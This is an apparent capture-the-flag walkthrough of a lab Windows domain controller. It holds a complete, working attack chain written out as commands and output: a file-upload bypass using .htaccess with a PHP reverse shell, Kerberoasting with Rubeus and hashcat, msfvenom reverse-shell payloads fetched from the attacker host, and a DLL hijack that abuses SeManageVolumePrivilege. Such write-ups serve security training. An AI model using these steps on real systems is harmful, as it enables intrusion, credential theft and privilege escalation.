Initial Reconnaissance
We begin with a comprehensive Nmap scan across all 65,535 TCP ports to uncover any exposed services:
Initial Nmap scan:
sudo nmap -Pn -n $IP -sC -sV -p- --open -v
Results:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-title: Access The Event
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-05 23:20:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0
|_SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6
|_ssl-date: TLS randomness does not represent time
|_http-title: Access The Event
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49786/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-05T23:20:59
|_ start_date: N/A
This reveals a range of services, with several immediately suggesting a Windows Domain Controller:
- Port 53 (DNS)
- Port 88 (Kerberos)
- Port 389/3268 (LDAP)
- Ports 135/139/445 (RPC/NetBIOS/SMB)
- Port 5985 (WinRM)
- Web server running Apache on ports 80 and 443
The domain name access.offsec
appears in LDAP service info, confirming this is part of an Active Directory setup. Given the presence of both HTTP and SMB-related services, there are multiple possible attack vectors.
Before diving deeper, it's good practice to run directory brute-forcing against the web server in a separate tab:
sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:80 -t 42 -b 400,403,404
I have chosen 42 threads with -t 42 and to ignore codes that will not be useful to me now with -b 400, 403, 404.
We will also update /etc/hosts
with the domain info:
sudo nano /etc/hosts
192.168.236.187 access.offsec
Web Application Enumeration
Navigating to the site on port 80 displays a sales-like landing page with multiple "Buy Now" buttons. Choosing the “Pro” option leads us to a file upload feature—potentially exploitable.
Earlier, Nmap showed that the web server is using PHP version 8.0.7.
We’ll give the Ivan Sincek reverse shell from revshells.com a shot to see if we can gain a foothold.
Pop in your tun0 IP address, and for the port, I’ve gone with 135 since the target is a Windows machine with SMB enabled. Paste the generated code into a text file, save it as shell.php
, and then try accessing it through the browser.
We get redirected and quickly realise they’ve anticipated this move—PHP files aren’t permitted.
4o
After being bounced back to the homepage, we start testing other file types. Through a bit of trial and error, it becomes clear that no PHP-related extensions are getting through.
Time to get clever—we create a custom .htaccess
file that tells the server to treat a new, uncommon extension as PHP. Then, we upload it to see if we can slip past the restriction.
echo "AddType application/x-httpd-php .hack" > .htaccess
Keep in mind, to actually select the .htaccess
file for upload, you'll need to adjust the file browser's view settings to enable viewing of hidden files.
The popup message looks promising—seems like the upload was accepted without any issues.
Rename your shell.php
file so it uses the new custom PHP extension—for example, change it to shell.hack
.
mv shell.php shell.hack
With the renamed file ready, we should now be able to upload it successfully. But before doing that, make sure to set up a listener to catch the reverse shell connection when it triggers.
sudo rlwrap nc -lnvp 135
I’m using rlwrap
to keep arrow key functionality intact once the shell connects.
With our listener ready, it’s time to upload the shell.hack
file and trigger the reverse shell.
The upload isn't blocked, and we get the same reassuring popup as we did with the .htaccess
file. But that raises a new question—where exactly did our files end up? Time to revisit the results from our Gobuster scan to track them down.
┌──(kali㉿kali)-[~]
└─$ sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:80 -t 42 -b 400,403,404
[sudo] password for kali:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.236.187:80
[+] Method: GET
[+] Threads: 42
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 400,403,404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 344] [--> http://192.168.236.187/uploads/]
/assets (Status: 301) [Size: 343] [--> http://192.168.236.187/assets/]
/forms (Status: 301) [Size: 342] [--> http://192.168.236.187/forms/]
/examples (Status: 503) [Size: 404]
/Forms (Status: 301) [Size: 342] [--> http://192.168.236.187/Forms/]
/Assets (Status: 301) [Size: 343] [--> http://192.168.236.187/Assets/]
/Uploads (Status: 301) [Size: 344] [--> http://192.168.236.187/Uploads/]
/FORMS (Status: 301) [Size: 342] [--> http://192.168.236.187/FORMS/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Gobuster reveals a dedicated /uploads
directory, and it looks like we can browse it. Let’s head there and see if our files made it through.
Clicking on the uploaded shell causes the browser to hang and not fully load—that's usually a good sign. Time to check the listener to see if our shell connected successfully.
┌──(kali㉿kali)-[~]
└─$ sudo rlwrap nc -lnvp 135
[sudo] password for kali:
listening on [any] 135 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.236.187] 51415
SOCKET: Shell has connected! PID: 3136
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\uploads>whoami
access\svc_apache
Privilege Escalation – Step 1: Kerberoasting
Now that we're in, it's time to take stock—what level of access do we have? What does the system environment look like? And most importantly, how can we escalate our privileges to become an Administrator?
whoami /priv
C:\xampp\htdocs\uploads>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
We’ve landed on the machine, but our current access is pretty limited—no significant privileges to play with. There is an interesting technique involving privilege recovery for service accounts, but it doesn’t apply in this case. Still, it’s worth a read if you’re curious: https://itm4n.github.io/localservice-privileges/
So, let’s look at other options. Since this box is part of an Active Directory domain, one approach is to hunt for domain credentials—or better yet, generate our own.
To do that, we’ll first try to identify any Service Principal Names (SPNs) tied to domain accounts. For this, we’ll be using Rubeus, a powerful tool designed for working with Kerberos and performing related attacks.
From the reverse shell, let’s switch into PowerShell so we can start setting things up.
powershell
Grab a precompiled version of Rubeus from this repo: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.
Then, spin up a quick Python web server on your Kali box to serve the file to the target:
python3 -m http.server 80
To move Rubeus onto the Windows machine, use PowerShell’s Invoke-WebRequest
like so:
iwr -uri http://192.168.45.239/Rubeus.exe -Outfile Rubeus.exe
We’ll be using Rubeus to perform a Kerberoasting attack—an approach that takes advantage of how Kerberos authentication works in Active Directory.
Here’s how it ties together:
Rubeus has a kerberoast
command, which scans the domain for service accounts that are linked to specific services using SPNs (Service Principal Names). Since we're already logged in as a standard domain user, we’re allowed to ask the Domain Controller for tickets (called TGS-REP tickets) to access those services.
These tickets are encrypted using the service account's password. So, Rubeus fetches them for us and saves the output to a file—like hashes.kerberoast
.
Now here's where the Kerberoasting part comes in:
We take those encrypted tickets and try to crack them offline using a wordlist and tools like Hashcat. If successful, we recover the plaintext password of that service account—which might give us access to more sensitive areas of the network.
In simple terms:
We're politely asking the domain for a ticket to a service, getting a copy that’s locked with the service account's password, then trying to guess the password until we unlock it—without making any more noise on the network.
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
PS C:\xampp\htdocs\uploads> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target Domain : access.offsec
[*] Searching path 'LDAP://SERVER.access.offsec/DC=access,DC=offsec' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : svc_mssql
[*] DistinguishedName : CN=MSSQL,CN=Users,DC=access,DC=offsec
[*] ServicePrincipalName : MSSQLSvc/DC.access.offsec
[*] PwdLastSet : 5/21/2022 5:33:45 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash written to C:\xampp\htdocs\uploads\hashes.kerberoast
[*] Roasted hashes written to : C:\xampp\htdocs\uploads\hashes.kerberoast
Next, let’s transfer the hashes.kerberoast
file from the Windows target back to our Kali machine—this is the file containing the Kerberos service ticket hashes we pulled using Rubeus.
PS C:\xampp\htdocs\uploads> cat hashes.kerberoast
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$A8C00E424D5<SNIP>
Once we’ve got the file on Kali, we’ll check which mode to use in Hashcat to crack a TGS-REP (Kerberos service ticket) hash. You can do that by running:
┌──(kali㉿kali)-[~]
└─$ hashcat --help | grep -i "Kerberos"
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocol
28800 | Kerberos 5, etype 17, DB | Network Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
19900 | Kerberos 5, etype 18, Pre-Auth | Network Protocol
28900 | Kerberos 5, etype 18, DB | Network Protocol
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
The output confirms that mode 13100 is the one we need for cracking TGS-REP hashes with encryption type 23.
We'll now kick off Hashcat using:
m 13100
to specify the correct Kerberos cracking moderockyou.txt
as our wordlist (a common choice for password cracking)best64.rule
to apply smart mutations to our wordlist-force
because we're running this inside a virtual machine and want to bypass any hardware warnings
Here’s the full command:
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
┌──(kali㉿kali)-[~]
└─$ sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
<SNIP>
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$a8c00e424d505b402856fd4dd165bff6$fbb8423<SNIP>a3c600937520edd2380070d916d:trustno1
We’ve successfully cracked the Kerberos service ticket and revealed the plaintext password for the domain user svc_mssql
. A solid win thanks to Kerberoasting.
Now comes the fun part—figuring out what we can access with these credentials. Based on our initial Nmap scan, we know the system has several accessible services, including:
- SMB on port 445 – useful for file shares and remote access
- WinRM on port 5985 – a common target for remote PowerShell sessions on Windows
Checking SMB Shares
We use smbclient
to list available shares:
┌──(kali㉿kali)-[~]
└─$ smbclient -L //192.168.236.187 -U 'access.offsec\svc_mssql'
Password for [ACCESS.OFFSEC\svc_mssql]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.236.187 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
After entering the cracked password, we’re shown several shares:
ADMIN$
,C$
, andIPC$
– default administrative sharesNETLOGON
andSYSVOL
– commonly found on domain controllers
These shares confirm this box is part of a domain, but trying to connect via SMBv1 fails with:
Error NT_STATUS_RESOURCE_NAME_NOT_FOUND
This suggests the server doesn't support SMBv1 anymore (which is a good thing, security-wise). It also means tools trying to fall back to SMBv1 may not work properly.
Verifying with CrackMapExec
We try again using CrackMapExec to verify access and enumerate shares:
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.236.187 -u svc_mssql -d access.offsec -p "trustno1" --shares
<SNIP>
SMB 192.168.236.187 445 SERVER [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVER) (domain:access.offsec) (signing:True) (SMBv1:False)
SMB 192.168.236.187 445 SERVER [+] access.offsec\svc_mssql:trustno1
SMB 192.168.236.187 445 SERVER [-] Error enumerating shares: The NETBIOS connection with the remote host timed out.
Output confirms that:
- The user credentials are valid
- But attempting to list shares fails due to a timeout during the NETBIOS connection
This could be due to firewall rules, timeout restrictions, or simply that the host doesn't respond well to NetBIOS over TCP.
Testing WinRM (Remote PowerShell)
Since SMB didn’t give us much, we try WinRM, another powerful method to gain shell access, particularly with tools like Evil-WinRM or nxc
:
┌──(kali㉿kali)-[~/Tools]
└─$ nxc winrm 192.168.236.187 -u svc_mssql -d access.offsec -p "trustno1"
WINRM 192.168.236.187 5985 SERVER [*] Windows 10 / Server 2019 Build 17763 (name:SERVER) (domain:access.offsec)
WINRM 192.168.236.187 5985 SERVER [-] access.offsec\svc_mssql:trustno1
And again with Evil-WinRM:
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i access.offsec -u svc_mssql -p "trustno1"
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
Unfortunately, both attempts fail. The server rejects the login with an AuthorizationError
, indicating that while the credentials are valid, this user doesn’t have permission to log in via WinRM.
Where To From Here?
So far, we’ve confirmed that svc_mssql
is a valid domain user with working credentials, but access to remote services is limited or blocked.
Our next move is to find a way to leverage these creds locally, using something like a runas
technique to pivot from our existing shell—possibly spawning a new process as svc_mssql
to explore further.
Let’s dig into that next.
Lateral Movement
Grab the runas
PowerShell script from: https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Download it to your attacker machine, transfer it to the target, and then import it into the PowerShell session.
PS C:\xampp\htdocs\uploads> iwr -uri http://192.168.45.239/Invoke-RunasCs.ps1 -Outfile Invoke-RunasCs.ps1
PS C:\xampp\htdocs\uploads> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\xampp\htdocs\uploads> . .\Invoke-RunasCs.ps1
Let’s confirm that we can run commands as the target user by using the script to execute something simple—like checking the current user context with whoami
. This will show whether the impersonation was successful.
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
PS C:\xampp\htdocs\uploads> . .\Invoke-RunasCs.ps1
PS C:\xampp\htdocs\uploads> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
access\svc_mssql
A warning pops up letting us know there are extra advanced options available, but we won’t need them for this scenario. Instead, we’ll move ahead and generate a reverse shell using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.239 LPORT=445 -f exe > shell.exe
Upload the payload to the target machine, then execute it using the same RUN-AS
method we used earlier. Just make sure you’ve set up a listener in advance—this time on a new port to avoid conflicts.
sudo rlwrap nc -nvlp 445
PS C:\xampp\htdocs\uploads> iwr -uri http://192.168.45.239/shell.exe -Outfile shell.exe
PS C:\xampp\htdocs\uploads> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "shell.exe"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
We’ve managed to move laterally and gain access as a more privileged user. As is often the case, the user flag is right there on their Desktop waiting to be collected.
┌──(kali㉿kali)-[~/Tools]
└─$ sudo rlwrap nc -nvlp 445
[sudo] password for kali:
listening on [any] 445 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.236.187] 51664
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
access\svc_mssql
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\Users\svc_mssql\Desktop>type local.txt
type local.txt
ba392476bb3c2e6fcdebf41ff5566343
C:\Users\svc_mssql\Desktop>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : SERVER
Primary Dns Suffix . . . . . . . : access.offsec
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : access.offsec
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-A3-A6
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.236.187(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.236.254
DNS Servers . . . . . . . . . . . : 192.168.236.254
NetBIOS over Tcpip. . . . . . . . : Enabled
Privilege Escalation – Step 2: Exploiting SeManageVolumePrivilege
At this stage, we’ve gained two key privileges: SeMachineAccountPrivilege and SeManageVolumePrivilege. While both can be useful for privilege escalation, we’ll focus on SeManageVolumePrivilege to take things up to Administrator level.
You can find an exploit that leverages this privilege here: https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
Download the binary, move it over to the target machine, and run it to proceed with the escalation.
PS C:\Users\svc_mssql\Desktop> iwr -uri http://192.168.45.239/SeManageVolumeExploit.exe -Outfile SeManageVolumeExploit.exe
PS C:\Users\svc_mssql\Desktop> .\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
Entries changed: 917
DONE
With the exploit executed, we now have the ability to write directly to the *C:* drive—something typically restricted to higher-privileged users.
PS C:\> echo "test" > test.txt
echo "test" > test.txt
echo "test" > test.txt
PS C:\> ls
ls
ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/28/2021 4:20 AM PerfLogs
d-r--- 5/28/2021 6:06 AM Program Files
d----- 5/28/2021 3:53 AM Program Files (x86)
d-r--- 4/8/2022 2:40 AM Users
d----- 4/8/2022 2:11 AM Windows
d----- 5/28/2021 6:04 AM Windows10Upgrade
d----- 4/8/2022 2:36 AM xampp
-a---- 4/5/2025 4:10 PM 2853 output.txt
-a---- 4/5/2025 11:17 PM 14 test.txt
Even better, we can now run icacls
on a protected directory—like C:\Windows\System32
—to check the current permissions and confirm our elevated access.
From the icacls
output, we can see several built-in groups and service accounts have permissions on C:\Windows\System32
.
PS C:\> icacls C:\Windows\System32
icacls C:\Windows\System32
icacls C:\Windows\System32
C:\Windows\System32 NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Users:(M)
BUILTIN\Users:(OI)(CI)(IO)(F)
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
If you're curious to dig deeper into how this works under the hood, check out this excellent write-up: https://github.com/xct/SeManageVolumeAbuse
In short, now that we have the SeManageVolumePrivilege, we can exploit it to replace a DLL used by a trusted Windows binary. This allows us to execute arbitrary code with elevated privileges.
For this example, we’ll target tzres.dll
, a library loaded by the systeminfo
command. However, with some research, you could apply this technique to nearly any DLL used by a Windows process.
Generate a reverse shell payload and save it as tzres.dll
. Transfer it to the victim and move it into C:\Windows\System32\wbem
.
Personally, I’ll shut down the original access shell and reuse port 135 for the new one—but feel free to use a different port if you want to maintain multiple shells. There doesn’t appear to be any outbound firewall restrictions on this host, so you're free to set up as many listeners as you like.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.239 LPORT=135 -f dll -o tzres.dll
PS C:\Users\Public> iwr -uri http://192.168.45.239/tzres.dll -Outfile tzres.dll
PS C:\Users\Public> Move-Item -Path "tzres.dll" -Destination "C:\Windows\System32\wbem\tzres.dll"
To catch the reverse shell, start a listener on port 135 using nc
with rlwrap
so you retain shell history and arrow key functionality:
sudo rlwrap nc -nvlp 135
Now that your listener is ready, go ahead and trigger the malicious DLL by running the systeminfo
command on the target machine:
PS C:\Users\Public> systeminfo
systeminfo
systeminfo
ERROR: The remote procedure call failed.
If the DLL hijack worked correctly, the command should hang or return an error—meanwhile, your listener should catch a new shell with elevated privileges.
The systeminfo
command loads tzres.dll
to display time zone information. If we replace that DLL with a malicious one (thanks to our elevated write access), systeminfo.exe
will unknowingly execute our code when it runs.
This works because Windows doesn’t always verify the integrity of DLLs loaded from system paths—making it a classic DLL hijacking opportunity, especially useful for privilege escalation.
We’ve successfully caught a reverse shell running with elevated privileges, landing us in the context of NT AUTHORITY\NETWORK SERVICE
—a significant escalation from where we started.
┌──(kali㉿kali)-[~/Tools]
└─$ sudo rlwrap nc -nvlp 135
[sudo] password for kali:
listening on [any] 135 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.236.187] 51758
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\network service
With this level of access, we’re able to browse to the Administrator’s Desktop and retrieve the final flag:
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 5C30-DCD7
Directory of C:\Users\Administrator\Desktop
04/08/2022 02:40 AM <DIR> .
04/08/2022 02:40 AM <DIR> ..
04/05/2025 04:09 PM 34 proof.txt
1 File(s) 34 bytes
2 Dir(s) 14,729,023,488 bytes free
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
537a2409e8bbae09a5eeed005d44ea17
C:\Users\Administrator\Desktop>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : SERVER
Primary Dns Suffix . . . . . . . : access.offsec
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : access.offsec
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-A3-A6
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.236.187(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.236.254
DNS Servers . . . . . . . . . . . : 192.168.236.254
NetBIOS over Tcpip. . . . . . . . : Enabled
Summary
This box offers a great example of:
- Chaining together weak file upload validation and custom
.htaccess
- Kerberoasting with Rubeus
- Lateral movement using
Invoke-RunasCs
- Exploiting SeManageVolumePrivilege via DLL hijacking
It’s a rewarding and educational lab, especially for learning about privilege escalation within a Windows Active Directory environment.